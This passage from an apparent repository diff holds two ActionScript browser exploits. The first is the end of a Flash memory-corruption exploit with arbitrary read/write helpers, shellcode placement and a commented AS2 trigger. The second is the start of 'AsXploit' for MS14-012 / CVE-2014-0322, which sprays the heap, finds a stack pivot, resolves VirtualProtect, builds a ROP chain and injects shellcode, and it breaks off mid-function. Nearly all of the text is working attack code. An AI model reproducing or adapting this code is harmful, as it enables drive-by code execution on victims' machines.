this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, this.tweaked_vector_address + 8);
|
||||||
|
// Get arbitrary execution
|
||||||
|
i = 0;
|
||||||
|
while(i < 64)
|
||||||
|
{
|
||||||
|
file_ref_array[i].cancel();
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
this.tweaked_vector[7] = address_code;
|
||||||
|
i = 0;
|
||||||
|
while(i < 64)
|
||||||
|
{
|
||||||
|
file_ref_array[i].cancel();
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
// Restore Function Pointer
|
||||||
|
this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, ptr_backup);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// vector: tweaked vector with 0x40000001 length
|
||||||
|
// vector_address: address of tweaked vector
|
||||||
|
// address: address to read
|
||||||
|
function getMemoryAt(vector:Vector.<int>, vector_address:uint, address:uint) : uint {
|
||||||
|
if(address >= vector_address)
|
||||||
|
{
|
||||||
|
return vector[(address - vector_address) / 4];
|
||||||
|
}
|
||||||
|
return vector[0x40000000 - (vector_address - address) / 4];
|
||||||
|
}
|
||||||
|
|
||||||
|
// vector: tweaked vector with 0x40000001 length
|
||||||
|
// vector_address: address of tweaked vector
|
||||||
|
// address: address to write
|
||||||
|
// value: value to write
|
||||||
|
function writeMemoryAt(vector:Vector.<int>, vector_address:uint, address:uint, value:uint) : * {
|
||||||
|
if(address >= vector_address)
|
||||||
|
{
|
||||||
|
vector[(address - vector_address) / 4] = value;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
vector[0x40000000 - (vector_address - address) / 4] = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function getNinbets(vector:*, vector_address:*) : Array {
|
||||||
|
var _loc9_:uint = 0;
|
||||||
|
var array_related_addr:uint = this.getMemoryAt(vector,vector_address,(vector_address & 0xfffff000) + 0x1c);
|
||||||
|
var index_array_related_addr:uint = 0;
|
||||||
|
var _loc5_:uint = 0;
|
||||||
|
var _loc6_:uint = 0;
|
||||||
|
if(array_related_addr >= vector_address)
|
||||||
|
{
|
||||||
|
index_array_related_addr = (array_related_addr - vector_address) / 4;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
index_array_related_addr = 0x40000000 - (vector_address - array_related_addr) / 4;
|
||||||
|
}
|
||||||
|
var _loc7_:uint = 0;
|
||||||
|
while(true)
|
||||||
|
{
|
||||||
|
index_array_related_addr--;
|
||||||
|
_loc9_ = vector[index_array_related_addr];
|
||||||
|
if(_loc9_ == 0xfff870ff)
|
||||||
|
{
|
||||||
|
_loc7_ = 2;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if(_loc9_ == 0xf870ff01)
|
||||||
|
{
|
||||||
|
_loc7_ = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if(_loc9_ == 0x70ff016a)
|
||||||
|
{
|
||||||
|
_loc9_ = vector[index_array_related_addr + 1];
|
||||||
|
if(_loc9_ == 0xfc70fff8)
|
||||||
|
{
|
||||||
|
_loc7_ = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if(_loc9_ == 0x70fff870)
|
||||||
|
{
|
||||||
|
_loc7_ = 3;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_loc5_ = vector_address + 4 * index_array_related_addr - _loc7_;
|
||||||
|
index_array_related_addr--;
|
||||||
|
var _loc8_:uint = vector[index_array_related_addr];
|
||||||
|
if(_loc8_ == 0x16a0424)
|
||||||
|
{
|
||||||
|
return [_loc5_,_loc6_];
|
||||||
|
}
|
||||||
|
if(_loc8_ == 0x6a042444)
|
||||||
|
{
|
||||||
|
return [_loc5_,_loc6_];
|
||||||
|
}
|
||||||
|
if(_loc8_ == 0x424448b)
|
||||||
|
{
|
||||||
|
return [_loc5_,_loc6_];
|
||||||
|
}
|
||||||
|
if(_loc8_ == 0xff016a04)
|
||||||
|
{
|
||||||
|
return [_loc5_,_loc6_];
|
||||||
|
}
|
||||||
|
|
||||||
|
_loc6_ = _loc5_ - 6;
|
||||||
|
while(true)
|
||||||
|
{
|
||||||
|
index_array_related_addr--;
|
||||||
|
_loc9_ = vector[index_array_related_addr];
|
||||||
|
if(_loc9_ == 0x850ff50)
|
||||||
|
{
|
||||||
|
if(uint(vector[index_array_related_addr + 1]) == 0x5e0cc483)
|
||||||
|
{
|
||||||
|
_loc7_ = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_loc9_ = _loc9_ & 0xffffff00;
|
||||||
|
if(_loc9_ == 0x50ff5000)
|
||||||
|
{
|
||||||
|
if(uint(vector[index_array_related_addr + 1]) == 0xcc48308)
|
||||||
|
{
|
||||||
|
_loc7_ = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_loc9_ = _loc9_ & 0xffff0000;
|
||||||
|
if(_loc9_ == 0xff500000)
|
||||||
|
{
|
||||||
|
if(uint(vector[index_array_related_addr + 1]) == 0xc4830850)
|
||||||
|
{
|
||||||
|
if(uint(vector[index_array_related_addr + 2]) == 0xc35d5e0c)
|
||||||
|
{
|
||||||
|
_loc7_ = 2;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_loc9_ = _loc9_ & 0xff000000;
|
||||||
|
if(_loc9_ == 0x50000000)
|
||||||
|
{
|
||||||
|
if(uint(vector[index_array_related_addr + 1]) == 0x830850ff)
|
||||||
|
{
|
||||||
|
if(uint(vector[index_array_related_addr + 2]) == 0x5d5e0cc4)
|
||||||
|
{
|
||||||
|
_loc7_ = 3;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_loc5_ = vector_address + 4 * index_array_related_addr + _loc7_;
|
||||||
|
return [_loc5_,_loc6_];
|
||||||
|
}
|
||||||
|
|
||||||
|
// vector: tweaked vector with 0x40000001 length
|
||||||
|
// address: address of tweaked vector
|
||||||
|
function getFileReferenceLocation(vector:*, address:*) : uint {
|
||||||
|
var flash_address:uint = this.getMemoryAt(vector,address,(address & 0xfffff000) + 28);
|
||||||
|
var _loc4_:uint = 0;
|
||||||
|
while(true)
|
||||||
|
{
|
||||||
|
_loc4_ = this.getMemoryAt(vector,address,flash_address + 8);
|
||||||
|
if(_loc4_ == 0x2a0)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if(_loc4_ < 0x2a0)
|
||||||
|
{
|
||||||
|
flash_address = flash_address + 36;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
flash_address = flash_address - 36;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var file_ref_related_addr:uint = this.getMemoryAt(vector,address,flash_address + 12);
|
||||||
|
while(this.getMemoryAt(vector,address, file_ref_related_addr + 384) != 0xffffffff)
|
||||||
|
{
|
||||||
|
if(this.getMemoryAt(vector,address, file_ref_related_addr + 380) == 0xffffffff)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
file_ref_related_addr = this.getMemoryAt(vector, address, file_ref_related_addr + 8);
|
||||||
|
}
|
||||||
|
return file_ref_related_addr;
|
||||||
|
}
|
||||||
|
|
||||||
|
function getCodeAddress(vector:*, vector_addr:*, mark:*) : uint {
|
||||||
|
var vector_length_read:uint = 0;
|
||||||
|
var vector_code_info_addr:uint = this.getMemoryAt(vector, vector_addr,(vector_addr & 0xfffff000) + 0x1c);
|
||||||
|
while(true)
|
||||||
|
{
|
||||||
|
vector_length_read = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 8);
|
||||||
|
if(vector_length_read == 2032) // code vector length
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
vector_code_info_addr = vector_code_info_addr + 0x24;
|
||||||
|
}
|
||||||
|
|
||||||
|
var vector_code_contents_addr:uint = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 0xc);
|
||||||
|
while(this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 0x28) != mark)
|
||||||
|
{
|
||||||
|
vector_code_contents_addr = this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 8);
|
||||||
|
}
|
||||||
|
return vector_code_contents_addr + 0x2c; // Code address, starting at nops after the mark
|
||||||
|
}
|
||||||
|
|
||||||
|
// Every vector in the array => 7f0 (header = 8; data => 0x7e8)
|
||||||
|
function createCodeVectors(mark:uint, nops:uint) : * {
|
||||||
|
var array:Array = new Array();
|
||||||
|
var i:* = 0;
|
||||||
|
while(i < 8)
|
||||||
|
{
|
||||||
|
array[i] = new Vector.<uint>(2032 / 4 - 8);
|
||||||
|
array[i][0] = mark;
|
||||||
|
array[i][1] = nops;
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
return array;
|
||||||
|
}
|
||||||
|
|
||||||
|
function fillCodeVectors(param1:Array, param2:uint) : * {
|
||||||
|
var i:uint = 0;
|
||||||
|
var sh:uint=1;
|
||||||
|
|
||||||
|
while(i < param1.length)
|
||||||
|
{
|
||||||
|
for(var u:String in shellcodeObj)
|
||||||
|
{
|
||||||
|
param1[i][sh++] = Number(shellcodeObj[u]);
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
sh = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Trigger's ActionScript
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
// Action script...
|
||||||
|
|
||||||
|
// [Action in Frame 1]
|
||||||
|
var b = new flash.display.BitmapData(4, 7);
|
||||||
|
var filt = new flash.filters.DisplacementMapFilter(b, new flash.geom.Point(1, 2), 1, 2, 3, 4);
|
||||||
|
var b2 = new flash.display.BitmapData(256, 512);
|
||||||
|
var filt2 = new flash.filters.DisplacementMapFilter(b2, new flash.geom.Point(1, 2), 1, 2, 3, 4);
|
||||||
|
var colors = [16777215, 16711680, 16776960, 52479];
|
||||||
|
var alphas = [0, 1, 1, 1];
|
||||||
|
var ratios = [0, 63, 126, 255];
|
||||||
|
var ggf = new flash.filters.GradientGlowFilter(0, 45, colors, alphas, ratios, 55, 55, 2.500000, 2, "outer", false);
|
||||||
|
var cmf = new flash.filters.ColorMatrixFilter([]);
|
||||||
|
MyString2.setCMF(cmf);
|
||||||
|
MyString1.setGGF(ggf);
|
||||||
|
flash.filters.ColorMatrixFilter.prototype.resetMe = _global.ASnative(2106, 302);
|
||||||
|
zz = MyString1;
|
||||||
|
flash.display.BitmapData = zz;
|
||||||
|
arr = new Array();
|
||||||
|
var i = 0;
|
||||||
|
while (i < 8192)
|
||||||
|
{
|
||||||
|
arr[i] = new Number(0);
|
||||||
|
++i;
|
||||||
|
} // end while
|
||||||
|
var i = 100;
|
||||||
|
while (i < 8192)
|
||||||
|
{
|
||||||
|
arr[i] = "qwerty";
|
||||||
|
i = i + 8;
|
||||||
|
} // end while
|
||||||
|
k = filt.mapBitmap;
|
||||||
|
zz = MyString2;
|
||||||
|
flash.display.BitmapData = zz;
|
||||||
|
k = filt.mapBitmap;
|
||||||
|
cmf_matrix = cmf.matrix;
|
||||||
|
cmf_matrix[4] = 8192;
|
||||||
|
cmf_matrix[15] = 12.080810;
|
||||||
|
cmf.matrix = cmf_matrix;
|
||||||
|
ggf_colors = ggf.colors;
|
||||||
|
ggf_alphas = ggf.alphas;
|
||||||
|
mem = new Array();
|
||||||
|
var i = 0;
|
||||||
|
while (i < ggf_alphas.length)
|
||||||
|
{
|
||||||
|
ggf_alphas[i] = ggf_alphas[i] * 255;
|
||||||
|
++i;
|
||||||
|
} // end while
|
||||||
|
for (i = 0; i < ggf_colors.length; i++)
|
||||||
|
{
|
||||||
|
mem[i] = ggf_colors[i] + ggf_alphas[i] * 16777216;
|
||||||
|
} // end of for
|
||||||
|
ggf.colors = colors;
|
||||||
|
ggf.alphas = alphas;
|
||||||
|
ggf.ratios = ratios;
|
||||||
|
var lc = new LocalConnection();
|
||||||
|
lc.send("toAS3", "as2loaded", mem);
|
||||||
|
zz = cmf;
|
||||||
|
zz.resetMe("b", 1, 1, 1);
|
||||||
|
|
||||||
|
|
||||||
|
class MyString1 extends String
|
||||||
|
{
|
||||||
|
static var ggf;
|
||||||
|
function MyString(a,b)
|
||||||
|
{
|
||||||
|
super();
|
||||||
|
}
|
||||||
|
|
||||||
|
static function setGGF(myggf)
|
||||||
|
{
|
||||||
|
ggf = myggf;
|
||||||
|
}
|
||||||
|
|
||||||
|
static function getGGF()
|
||||||
|
{
|
||||||
|
return (MyString1.ggf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class MyString2 extends String
|
||||||
|
{
|
||||||
|
static var cmf;
|
||||||
|
function MyString2(a,b)
|
||||||
|
{
|
||||||
|
super();
|
||||||
|
}
|
||||||
|
|
||||||
|
static function setCMF(mycmf)
|
||||||
|
{
|
||||||
|
cmf = mycmf;
|
||||||
|
}
|
||||||
|
|
||||||
|
static function getCMF()
|
||||||
|
{
|
||||||
|
return (MyString2.cmf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
*/
|
|
@ -0,0 +1,519 @@
|
||||||
|
/*
|
||||||
|
* MS14-012 Internet Explorer CMarkup Use-After-Free
|
||||||
|
* Vendor Homepage: http://www.microsoft.com
|
||||||
|
* Version: IE 10
|
||||||
|
* Date: 2014-03-31
|
||||||
|
* Exploit Author: Jean-Jamil Khalife
|
||||||
|
* Tested on: Windows 7 SP1 x64 (fr, en)
|
||||||
|
* Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
|
||||||
|
* Home: http://www.hdwsec.fr
|
||||||
|
* Blog : http://www.hdwsec.fr/blog/
|
||||||
|
* MS14-012 / CVE-2014-0322
|
||||||
|
*
|
||||||
|
* Generation:
|
||||||
|
* c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import __AS3__.vec.Vector;
|
||||||
|
import flash.display.*;
|
||||||
|
import flash.events.*;
|
||||||
|
import flash.external.*;
|
||||||
|
import flash.media.*;
|
||||||
|
import flash.net.*;
|
||||||
|
import flash.text.*;
|
||||||
|
import flash.utils.*;
|
||||||
|
import Math;
|
||||||
|
import flash.system.Security;
|
||||||
|
import flash.external.ExternalInterface;
|
||||||
|
|
||||||
|
import flash.display.LoaderInfo;
|
||||||
|
|
||||||
|
|
||||||
|
public class AsXploit extends Sprite
|
||||||
|
{
|
||||||
|
public var s:Vector.<Object>;
|
||||||
|
public var spraysound:Vector.<Object>;
|
||||||
|
public var myTimer:Timer;
|
||||||
|
public var sound:Sound;
|
||||||
|
public var shellcodeObj:Array;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Prepare the heap
|
||||||
|
* Trigger the vulnerability
|
||||||
|
* Exploit :)
|
||||||
|
*/
|
||||||
|
public function AsXploit()
|
||||||
|
{
|
||||||
|
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(",");
|
||||||
|
|
||||||
|
/* Prepare the heap */
|
||||||
|
init_heap();
|
||||||
|
|
||||||
|
/* Trigger the vulnerability */
|
||||||
|
ExternalInterface.call("trigger");
|
||||||
|
|
||||||
|
/* Check every second if the vulnerability has triggered */
|
||||||
|
myTimer = new Timer(1000, 114096);
|
||||||
|
myTimer.addEventListener("timer", timerHandler);
|
||||||
|
myTimer.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Prepare the heap
|
||||||
|
* Spray aligned vector & sound objects
|
||||||
|
*/
|
||||||
|
public function init_heap():void
|
||||||
|
{
|
||||||
|
var len:int = 0;
|
||||||
|
var i:int = 0;
|
||||||
|
|
||||||
|
/* Spray the integer array */
|
||||||
|
this.s = new Vector.<Object>(0x18180);
|
||||||
|
while (len < 0x18180)
|
||||||
|
{
|
||||||
|
this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);
|
||||||
|
for (i=0; i < this.s[len].length; i++)
|
||||||
|
{
|
||||||
|
this.s[len][i] = 0x1a1a1a1a;
|
||||||
|
}
|
||||||
|
|
||||||
|
++len;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Spray sound object ptr */
|
||||||
|
this.sound = new Sound();
|
||||||
|
this.spraysound = new Vector.<Object>(0x100);
|
||||||
|
|
||||||
|
len = 0;
|
||||||
|
while (len < 0x100)
|
||||||
|
{
|
||||||
|
this.spraysound[len] = new Vector.<Object>(0x1234);
|
||||||
|
for (i=0; i < this.spraysound[len].length; i++)
|
||||||
|
{
|
||||||
|
this.spraysound[len][i] = this.sound;
|
||||||
|
}
|
||||||
|
++len;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Read an INT value in memory
|
||||||
|
*/
|
||||||
|
public function readInt(u1:int, u2:int, mod:uint):int
|
||||||
|
{
|
||||||
|
var valres:uint = 0;
|
||||||
|
|
||||||
|
if (mod == 1){
|
||||||
|
valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000;
|
||||||
|
}
|
||||||
|
else if (mod == 2){
|
||||||
|
valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000;
|
||||||
|
}
|
||||||
|
else if (mod == 3){
|
||||||
|
valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
valres = u1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return valres;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Search a stack pivot dynamically
|
||||||
|
* baseflashaddr_off: flash dll base address offset
|
||||||
|
* index: index of vectors table
|
||||||
|
* offset: offset to get the Stackpivot RVA
|
||||||
|
*/
|
||||||
|
public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint
|
||||||
|
{
|
||||||
|
var sp:uint = 0;
|
||||||
|
var sn:uint = 0;
|
||||||
|
var secname:uint = 0;
|
||||||
|
var sec:uint = 0;
|
||||||
|
var peindex:uint = 0;
|
||||||
|
var virtualSize:uint = 0;
|
||||||
|
var virtualAddr:uint = 0;
|
||||||
|
var i:uint = 0;
|
||||||
|
|
||||||
|
/* Find .text */
|
||||||
|
peindex = this.s[index][baseflashaddr_off+0x3C/4];
|
||||||
|
sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;
|
||||||
|
|
||||||
|
/* Find 0xC394 */
|
||||||
|
for (sec=0; sec < sn; sec++)
|
||||||
|
{
|
||||||
|
if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
|
||||||
|
&& this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74)
|
||||||
|
{
|
||||||
|
virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
|
||||||
|
virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];
|
||||||
|
|
||||||
|
/* Find a stack pivot */
|
||||||
|
for (i=0; i < virtualSize/4; i++)
|
||||||
|
{
|
||||||
|
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394)
|
||||||
|
{
|
||||||
|
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400)
|
||||||
|
{
|
||||||
|
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000)
|
||||||
|
{
|
||||||
|
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000
|
||||||
|
&& (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3)
|
||||||
|
{
|
||||||
|
sp = virtualAddr + i*4 + 3;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sp = virtualAddr + i*4 + 2;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sp = virtualAddr + i*4 + 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sp = virtualAddr + i*4;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if (sp != 0)
|
||||||
|
sp = offset+sp;
|
||||||
|
|
||||||
|
return sp;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Build & Insert the stack pivot + ROP + Shellcode
|
||||||
|
* Corrupt sound object vtable ptr
|
||||||
|
* baseflashaddr_off: flash dll address offset
|
||||||
|
* index: vectors table index
|
||||||
|
* cvaddr: corrupted vector address
|
||||||
|
* virtualprotectaddr: virtual protect address
|
||||||
|
* sp: stack pivot address
|
||||||
|
*/
|
||||||
|
public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void
|
||||||
|
{
|
||||||
|
var dec:uint = 0;
|
||||||
|
var soundobjref:uint = 0;
|
||||||
|
var soundobjaddr:uint = 0;
|
||||||
|
var sh:uint=0x300;
|
||||||
|
var i:uint = 0;
|
||||||
|
|
||||||
|
/* Corrupt sound object vtable ptr */
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234)
|
||||||
|
{
|
||||||
|
soundobjref = this.s[index][j+0x0A];
|
||||||
|
dec = soundobjref-cvaddr-1;
|
||||||
|
this.s[index][dec/4-2] = cvaddr+2*4+4*4;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
j++;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Stack pivot */
|
||||||
|
for (i=0; i < 0x200; i++)
|
||||||
|
this.s[index][i] = sp;
|
||||||
|
|
||||||
|
/* ROP */
|
||||||
|
this.s[index][0] = 0x41414141;
|
||||||
|
this.s[index][1] = 0x41414141;
|
||||||
|
this.s[index][2] = 0x41414141;
|
||||||
|
this.s[index][3] = 0x41414141;
|
||||||
|
this.s[index][4] = virtualprotectaddr;
|
||||||
|
this.s[index][5] = cvaddr+0xC00+8;
|
||||||
|
this.s[index][6] = cvaddr;
|
||||||
|
this.s[index][7] = 0x4000;
|
||||||
|
this.s[index][8] = 0x40;
|
||||||
|
this.s[index][9] = 0x1a002000;
|
||||||
|
|
||||||
|
/* Shellcode */
|
||||||
|
for(var u:String in shellcodeObj)
|
||||||
|
{
|
||||||
|
this.s[index][sh++] = Number(shellcodeObj[u]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Get flash module base address
|
||||||
|
* index: index of vectors table
|
||||||
|
* cvaddr: corrupted vector address
|
||||||
|
*/
|
||||||
|
public function getFlashBaseAddr(index:uint, cvaddr:uint):Array
|
||||||
|
{
|
||||||
|
var baseflashaddr_off:uint = 0;
|
||||||
|
var j:int = 0;
|
||||||
|
var k:int = 0;
|
||||||
|
var kmax:uint = 0;
|
||||||
|
var vtableobj:int = 0;
|
||||||
|
var ocxinfo:Array = new Array();
|
||||||
|
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
if (this.s[index][j] == 0x00010c00)
|
||||||
|
{
|
||||||
|
vtableobj = this.s[index][j+0x08] & 0xFFFF0000;
|
||||||
|
|
||||||
|
/* Get ocx base address */
|
||||||
|
k = 0;
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D)
|
||||||
|
{
|
||||||
|
baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2;
|
||||||
|
ocxinfo[0] = baseflashaddr_off;
|
||||||
|
ocxinfo[1] = j;
|
||||||
|
ocxinfo[2] = k;
|
||||||
|
ocxinfo[3] = vtableobj;
|
||||||
|
|
||||||
|
return ocxinfo;
|
||||||
|
}
|
||||||
|
|
||||||
|
k = k + 0x1000;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
j = j + 0x1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return ocxinfo;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Find kernel32.dll index
|
||||||
|
* index: index of vectors table
|
||||||
|
* baseflashaddr_off: flash dll address offset
|
||||||
|
* importsindex: offset to the imports table
|
||||||
|
*/
|
||||||
|
public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint
|
||||||
|
{
|
||||||
|
var nameindex:uint = 0;
|
||||||
|
var dllname:int = 0;
|
||||||
|
var nameaddr:int = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4];
|
||||||
|
|
||||||
|
/* kernel32.dll not found */
|
||||||
|
if (nameaddr == 0x0)
|
||||||
|
break;
|
||||||
|
|
||||||
|
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||||||
|
|
||||||
|
/* Check kernel32.dll */
|
||||||
|
if (dllname == 0x6E72656B || dllname == 0x4E52454B)
|
||||||
|
{
|
||||||
|
nameaddr = nameaddr + 4;
|
||||||
|
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||||||
|
if (dllname == 0x32336C65 || dllname == 0x32334C45)
|
||||||
|
{
|
||||||
|
nameaddr = nameaddr + 4;
|
||||||
|
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||||||
|
if (dllname == 0x6C6C642E || dllname == 0x4C4C442E)
|
||||||
|
{
|
||||||
|
return nameindex;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Next dll */
|
||||||
|
nameindex = nameindex + 0x14;
|
||||||
|
}
|
||||||
|
while (1);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Get VirtualProtectStub() addr
|
||||||
|
*/
|
||||||
|
public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint
|
||||||
|
{
|
||||||
|
var fct_addr:uint = 0;
|
||||||
|
var fct_name:uint = 0;
|
||||||
|
var fct_name_struct:uint = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4));
|
||||||
|
fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4));
|
||||||
|
|
||||||
|
/* VirtualProtectStub() not found */
|
||||||
|
if (fct_addr == 0 || fct_name_struct == 0)
|
||||||
|
break;
|
||||||
|
|
||||||
|
if ((fct_name_struct & 0x80000000) != 0x80000000)
|
||||||
|
{
|
||||||
|
fct_name_struct = fct_name_struct + 2;
|
||||||
|
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||||||
|
|
||||||
|
/* Check VirtualProtect */
|
||||||
|
if (fct_name == 0x74726956 || fct_name == 0x54524956)
|
||||||
|
{
|
||||||
|
fct_name_struct = fct_name_struct + 4;
|
||||||
|
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||||||
|
if (fct_name == 0x504c4155 || fct_name == 0x506c6175)
|
||||||
|
{
|
||||||
|
fct_name_struct = fct_name_struct + 4;
|
||||||
|
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||||||
|
if (fct_name == 0x45544f52 || fct_name == 0x65746f72)
|
||||||
|
{
|
||||||
|
return fct_addr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Next Function() */
|
||||||
|
fct_addr_offset = fct_addr_offset + 0x4;
|
||||||
|
fct_name_offset = fct_name_offset + 0x4;
|
||||||
|
}
|
||||||
|
while (1);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Get corrupted vector index
|
||||||
|
*/
|
||||||
|
public function getCorruptedVectorIndex():uint
|
||||||
|
{
|
||||||
|
var i:uint = 0;
|
||||||
|
